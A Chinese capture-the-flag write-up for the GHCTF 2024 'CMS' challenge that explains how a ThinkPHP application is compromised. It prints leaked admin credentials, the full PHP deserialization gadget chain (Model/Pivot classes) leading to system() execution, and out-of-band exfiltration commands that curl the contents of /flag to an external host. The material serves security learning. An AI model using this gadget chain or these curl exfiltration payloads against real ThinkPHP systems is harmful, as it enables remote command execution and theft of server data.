[GHCTF 2024] CMS直接拿下

找了一下这题的WP,发现并没有写的很详细,在自己梳理后,整理了一下整体的解题思路及利用链

一、使用目录扫描工具进行目录扫描,发现源码文件及后台。

二、后台页面分析,尝试暴力破解及SQL注入失败。

三、分析源码,发现除了/api/users接口其余所有API均要认证后才能使用,尝试请求api/users接口后返回账号及密码,使用该账号密码成功登录。

public function users()
{
    $db = new AdminUser;
    $datas = $db->select();
    return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]);
}

#访问/api/users返回json数据中的账号及密码 。

username:"jlkasdjljlkdaj"

password:"kljewjklq123"

四、页面功能分析,没有发现明显WEB漏洞,尝试分析源码。

五、分析源码发现出现序列化及反序列化操作,怀疑有反序列化漏洞。

foreach ($datas as $data){
    $data = unserialize($data['serialize']);
    $lists[] = [
        "id" => $data->id,
        "name" => $data->name,
        "score1" => $data->score1,
        "score2" => $data->score2,
        "score3" => $data->score3,
        "average" => $data->average];
}
return json(["code"=>0, "data"=>$lists, "count"=>$count, "msg"=>"获取成功", ]);
$seria =  serialize(new Student(
    $request->post('id',2),
    $request->post('name','李四'),
    $request->post('score1',91),
    $request->post('score2',92),
    $request->post('score3',93)
));

六、代码审计查找魔术方法,反序列化魔术方法__wakeup()出现6次,其中model文件为标准类文件且方便控制,故选择从model入手分析。

七、在index.php入口文件中测试反序列化过程中发现,__wakeup()为初始化功能,没有实际作用,__destruct()魔术方法中出现save()方法,控制$this->lazySave = true 继续跟进。

$this->lazySave = true

public function __destruct()
{
    if ($this->lazySave) {
        $this->save();
    }
}/*WOW!!!看来你是懂的,第三个生蚝在根目录下的Oyst3333333r.php里,快去找到它吧*/

八、跟进save()方法后,不满足以下条件,程序直接结束。

$this->lazySave = true $this->isEmpty() || false === $this->trigger('BeforeWrite')

九、追踪trigger,发现这是model引入的vendor/topthink/think-orm/src/model/concern/ModelEvent.php文件引入的方法,只需要控制model中的$data不为空以及$withEvent = false就能继续运行代码。

protected $data != Null; protected $withEvent = false;

十、继续往下分析,往下拼凑条件,直到运行检测允许字段时,跟进checkAllowFields()方法,继续跟进db()方法,发现了字符拼接操作$this->name.$this->suffix,可以通过嵌套类触发__tostring()魔术方法,查找是否有__tostring()。

$this->exist = true / false
$this->field = []
$this->force = true
$this->schema = []
$query = self::$db->connect($this->connection)
    ->name($this->name . $this->suffix)
    ->pk($this->pk);

$this->suffix = ''
$this->name = class model or child of class model
                                                    
#model\concern\Conversion
public function __toString()
{
    return $this->toJson();
}

十一、在引入的model\concern\Conversion文件中找到__tostring()魔术方法,跟进看是否可以利用。

public function __toString()
{
    return $this->toJson();
}

public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
    return json_encode($this->toArray(), $options);
}

public function toArray(): array
{
    $item       = [];
    $hasVisible = false;
    // 合并关联数据
    $data = array_merge($this->data, $this->relation);
    foreach ($data as $key => $val) {
        if ($val instanceof Model || $val instanceof ModelCollection) {
            // 关联模型对象
            if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                $val->visible($this->visible[$key]);
            } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                $val->hidden($this->hidden[$key]);
            }
            // 关联模型对象
            if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                $item[$key] = $val->toArray();
            }
        } elseif (isset($this->visible[$key])) {
            $item[$key] = $this->getAttr($key);
        } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
            $item[$key] = $this->getAttr($key);
        }
}
    
public function getAttr(string $name)
{
    try {
        $relation = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $relation = $this->isRelationAttr($name);
        $value    = null;
    }
    return $this->getValue($name, $value, $relation);
}

protected function getValue(string $name, $value, $relation = false)
{
    // 检测属性获取器
    $fieldName = $this->getRealFieldName($name);
    $method    = 'get' . Str::studly($name) . 'Attr';

    if (isset($this->withAttr[$fieldName])) {
        if ($relation) {
            $value = $this->getRelationValue($relation);
        }
        if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
            $value = $this->getJsonValue($fieldName, $value);
        } else {
            $closure = $this->withAttr[$fieldName];
            $value   = $closure($value, $this->data);
        }
    } elseif (method_exists($this, $method)) {
        if ($relation) {
            $value = $this->getRelationValue($relation);
        }
        $value = $this->$method($value, $this->data);
    } elseif (isset($this->type[$fieldName])) {
        // 类型转换
        $value = $this->readTransform($value, $this->type[$fieldName]);
    } elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
        $value = $this->getTimestampValue($value);
    } elseif ($relation) {
        $value = $this->getRelationValue($relation);
        // 保存关联对象值
        $this->relation[$name] = $value;
    }
    return $value;
}

十一、发现有可能可以执行自定方法的地方,查看是否可以利用,经过跟进后发现只需要控制$this->withAttr[]和$this->data的值为键值对,且键值对的键名相同即可触发,触发后前者的值为方法名,后者的值为参数,可以利用这点执行system方法执行系统命令,即构造以下内容。

$closure = $this->withAttr[$fieldName];
$value   = $closure($value, $this->data);    //疑似可以执行自定方法

#使用带外攻击带出flag信息,`cat /flag`.xxxxxxx.xxxx这里的xxx.xxx是你的http请求接收平台地址或者是你获取的dnslog地址
private $data = ["shell" => "curl `cat /flag`.xxxxxxx.xxxx"];
private $withAttr = ["shell" => "system"];

十二、总结所需条件及所使用的变量构造利用链,使用model类的子类pivot类构建嵌套类触发__toString()魔术方法(用model类构造也行,只要能构建嵌套类,让$this->name为model类或其子类),注意所使用的命名空间。

<?php
namespace think\model\concern;
trait Conversion
{
}

trait Attribute
{
    private $data = ["shell" => "curl http://xx.xx.xx.xx/?a=`cat /flag`"];
    private $withAttr = ["shell" => "system"];
}

namespace think;
abstract class Model{
    use model\concern\Attribute;
    use model\concern\Conversion;
    private $lazySave = true;
    protected $withEvent = false;
    private $force = true;
    protected $field = [];
    protected $schema = [];
    protected $name;
    protected $suffix = '';

}

namespace think\model;
use think\Model;

class Pivot extends Model
{
    function __construct($obj = '')
    {
        $this->name = $obj;
    }
}
$a = new Pivot();
$b = new Pivot($a);

echo urlencode(serialize($b));

十三、使用修改功能,用BP抓包,修改上传的序列值为payload生成的序列,上传成功后刷新页面触发反序列化操作,查看HTTP请求接收平台,在get请求内发现flag(get的值中不允许出现符号“{}”,flag需要自己补全大括号)。

以上就是该题的全部内容。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值